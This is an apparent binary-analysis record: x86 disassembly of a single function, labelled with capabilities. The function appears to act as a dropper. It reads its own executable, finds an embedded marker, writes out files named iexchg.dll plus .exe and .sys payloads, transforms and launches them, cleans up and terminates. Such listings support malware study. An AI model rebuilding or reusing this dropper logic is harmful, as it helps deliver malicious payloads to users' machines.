Function at 0x402d9a
Capabilities:
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
push ebx
push esi
push edi
call fcn.004023f4
mov edi, 0x200
push edi
call fcn.0040382a
pop ecx
mov esi, eax
push edi
push esi
xor ebx, ebx
push ebx
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.00403d7d
push esi
call fcn.0040291a
test eax, eax
pop ecx
pop ecx
je 0x403091
push esi
call fcn.00402989
test eax, eax
pop ecx
je 0x403091
push esi
call fcn.00402d7b
test eax, eax
pop ecx
je 0x402e05
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
push ebx
push ebx
push 3
push ebx
push ebx
mov edi, 0x80000000
push edi
push esi
call dword [0x406044]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x40308a
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
lea eax, [esi + 1]
push eax
call fcn.0040382a
pop ecx
push ebx
lea ecx, [ebp - 0x20]
push ecx
push esi
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
call dword [0x40603c]
push dword [ebp - 0xc]
call dword [0x40604c]
shr esi, 2
xor eax, eax
dec esi
cmp esi, ebx
mov dword [ebp - 0x10], ebx
jbe 0x402f28
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + eax*4]
cmp edx, dword [0x406024]
jne 0x402e85
mov edx, dword [ecx + eax*4 + 4]
cmp edx, dword [str._8GV]
jne 0x402e85
lea edx, [eax + 2]
mov dword [ebp - 0x10], edx
inc eax
cmp eax, esi
jb 0x402e65
cmp dword [ebp - 0x10], ebx
je 0x402f2b
mov esi, 0x400
push esi
call fcn.0040382a
push esi
mov dword [ebp - 0xc], eax
call fcn.0040382a
push esi
mov dword [ebp - 0x24], eax
call fcn.0040382a
push esi
push eax
mov dword [ebp - 0x18], eax
call fcn.00404048
add esp, 0x14
push str.iexchg.dll
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push dword [ebp - 0x18]
call dword [0x406044]
mov esi, eax
cmp esi, 0xffffffff
je 0x402f5b
push ebx
lea eax, [ebp - 0x20]
push eax
push 4
lea eax, [ebp - 4]
push eax
push esi
call dword [0x40603c]
push ebx
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x828]
push eax
push esi
call dword [0x40603c]
mov eax, dword [ebp - 0x20]
push esi
mov byte [ebp + eax - 0x828], bl
call dword [0x40604c]
push dword [ebp - 0x18]
call dword [0x406040]
xor esi, esi
jmp 0x402f4a
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0040383e
pop ecx
jmp 0x40308a
mov eax, esi
inc esi
cmp eax, 0xa
jge 0x402f5b
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x828]
push eax
call dword [0x406040]
test eax, eax
je 0x402f37
push ebx
push ebx
push 4
push ebx
push ebx
mov edi, 0x40000000
push edi
push dword [ebp - 0x18]
call dword [0x406044]
push dword [ebp - 0x18]
mov dword [ebp - 4], eax
call fcn.0040383e
mov dword [esp], str..exe
push dword [ebp - 0xc]
call fcn.0040282c
push str..sys
push dword [ebp - 0x24]
call fcn.0040282c
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
add esp, 0x10
push dword [ebp - 8]
call esi
push ebx
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x28]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [0x406050]
push ebx
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 8]
push dword [ebp - 4]
call dword [0x406050]
push dword [ebp - 0x24]
call esi
push ebx
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x28]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [0x406050]
push ebx
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x24]
push dword [ebp - 4]
call dword [0x406050]
push dword [ebp - 4]
call dword [0x40604c]
push ebx
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [0x406048]
push dword [ebp - 8]
call fcn.0040383e
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
pop ecx
mov ecx, dword [esi + eax*4]
push ebx
push ebx
push 4
push ebx
lea eax, [esi + eax*4 + 4]
push ebx
mov dword [ebp - 8], ecx
mov ecx, dword [eax]
add eax, 4
push edi
push dword [ebp - 0x24]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
call dword [0x406044]
push dword [ebp - 8]
mov edi, eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call fcn.00401bdd
add esp, 0xc
push ebx
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push edi
call dword [0x406050]
push edi
call dword [0x40604c]
push esi
call fcn.0040383e
push dword [ebp - 0xc]
call fcn.004015db
test eax, eax
pop ecx
pop ecx
jne 0x40309d
xor eax, eax
jmp 0x402e00
call fcn.00402a1a
push esi
call fcn.004029b7
pop ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]